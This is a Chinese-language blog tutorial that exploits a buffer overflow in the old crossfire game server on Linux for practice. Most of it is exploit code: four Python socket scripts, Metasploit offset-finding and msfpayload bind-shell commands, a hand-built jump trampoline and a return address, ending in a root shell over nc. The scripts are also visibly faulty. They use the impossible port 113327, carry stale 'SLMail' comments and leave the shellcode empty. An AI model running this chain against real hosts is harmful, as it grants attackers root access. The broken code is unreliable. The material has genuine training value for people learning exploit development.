上一篇在windows下用SLMail的漏洞实现缓冲区溢出
这次在Linux下用crossfire的漏洞实现缓冲区溢出
crossfire穿越火线
这个漏洞是很早很早以前的
现在拿来学习和练手(笑)
调试工具:edb-debug(kali自带)
运行平台:kali i486(32位)
crossfire准备
安装要注意路径
mv crossfire.tar.gz /usr/games/
cd /usr/games
tar zxpf crossfire.tar.gz
./crossfire
netstat -pentu #查看端口
本机准备
防止练手过程中,开放的端口被其他人攻击
iptables -A INPUT -p tcp --destination-port 13327 \~ -d 127.0.0.1 -j DROP #严格限制可以访问端口的IP
iptables -A INPUT -p tcp --destination-port 4444 \~ -d 127.0.0.1 -j DROP
调试
edb --run /usr/games/crossfire/bin/crossfire #通过edb调用crossfire
菜单栏debug下点两次run
出现小窗口监视
测试缓冲区溢出
根据已知信息
4379个字符刚好发生缓冲区溢出
(这个数据最初怎么得到的令人困惑)
脚本01.py
#!/usr/bin/python
import socket
host="127.0.0.1"
crash="\x41"*4379 #4379个"A",4379个字符刚好缓冲区溢出
buffer="\x11(setup sound "+crash+"\x90\x00#"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print("\nSending evil buffer...")
s.connect((host,113327) #连接SLMail
data=s.recv(1024)
print(data)
s.send(buffer)
s.close()
print("\nPayload Sent!")
唯一字符串
cd /usr/share/metasploit-framework/tools/
./pattern_create.rb 4379
生成4379个唯一字符串设为str
脚本02.py
#!/usr/bin/python
import socket
host="127.0.0.1"
crash=str #上面生成的字符串str
buffer="\x11(setup sound "+crash+"\x90\x00#"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print("\nSending evil buffer...")
s.connect((host,113327) #连接SLMail
data=s.recv(1024)
print(data)
s.send(buffer)
s.close()
print("\nPayload Sent!")
得到 EIP中内容46367046
./pattern_offset.rb 46367046 #成功定位4368
脚本03.py
#!/usr/bin/python
import socket
host="127.0.0.1"
crash="A"*4368+"B"*4+"C"*7
buffer="\x11(setup sound "+crash+"\x90\x00#"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print("\nSending evil buffer...")
s.connect((host,113327) #连接SLMail
data=s.recv(1024)
print(data)
s.send(buffer)
s.close()
print("\nPayload Sent!")
确认EIP写入BBBB
但后续ESP空间太小,只有7个字节可以写,需要重新寻找一个寄存器
发现在EAX中存放了buffer的内容
前12个字符是"setup sound "不能动
考虑将shellcode放入EAX
故从EIP跳转到ESP
ESP中7个字节跳转到EAX的第13个字节
EAX中放入shellcode
cd /usr/share/metasploit-framework/tools/
./nasm_shell.rb
>add eax,12 #偏移
>jmp eax #跳转
得到16进制\x83\xc0\x0c\xff\xe0\x90\x90
可以放入ESP
同样的
ESP的地址会变
寻找指令
在edb中plugins->opcode search
寻找EIP跳转ESP的指令地址08134597
放入EIP
寻找坏字符
操作省略(类似上一篇)
\x00\x0a\x0d\x20
cd /usr/share/framework2/
./msfpayload -l #查看msfpayload里的shellcode
./msfpayload linux/x86/shell_bind_tcp LPORT=4444 R | msfencode -b "\x00\x0a\x0d\x20" #把坏字符编掉,R用来编码
生成shelllcode
脚本04.py
#!/usr/bin/python
import socket
host="127.0.0.1"
shellcode=(" ") #复制上面生成的shellcode
crash=shellcode+"A"*(4368-105)+"\x97\x45\x13\x08"+"\x83\xc0\x0c\xff\xe0\x90\x90" #105是shellcode的字节数
buffer="\x11(setup sound "+crash+"\x90\x00#"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print("\nSending evil buffer...")
s.connect((host,113327) #连接SLMail
data=s.recv(1024)
print(data)
s.send(buffer)
s.close()
print("\nPayload Sent!")
成功连接4444
nc 127.0.0.1 4444
获取root权限
为所欲为
再一次了解缓冲区溢出
看来各种程序都有可能存在漏洞
使得电脑控制权被他人获取
下一节进一步学习缓冲区溢出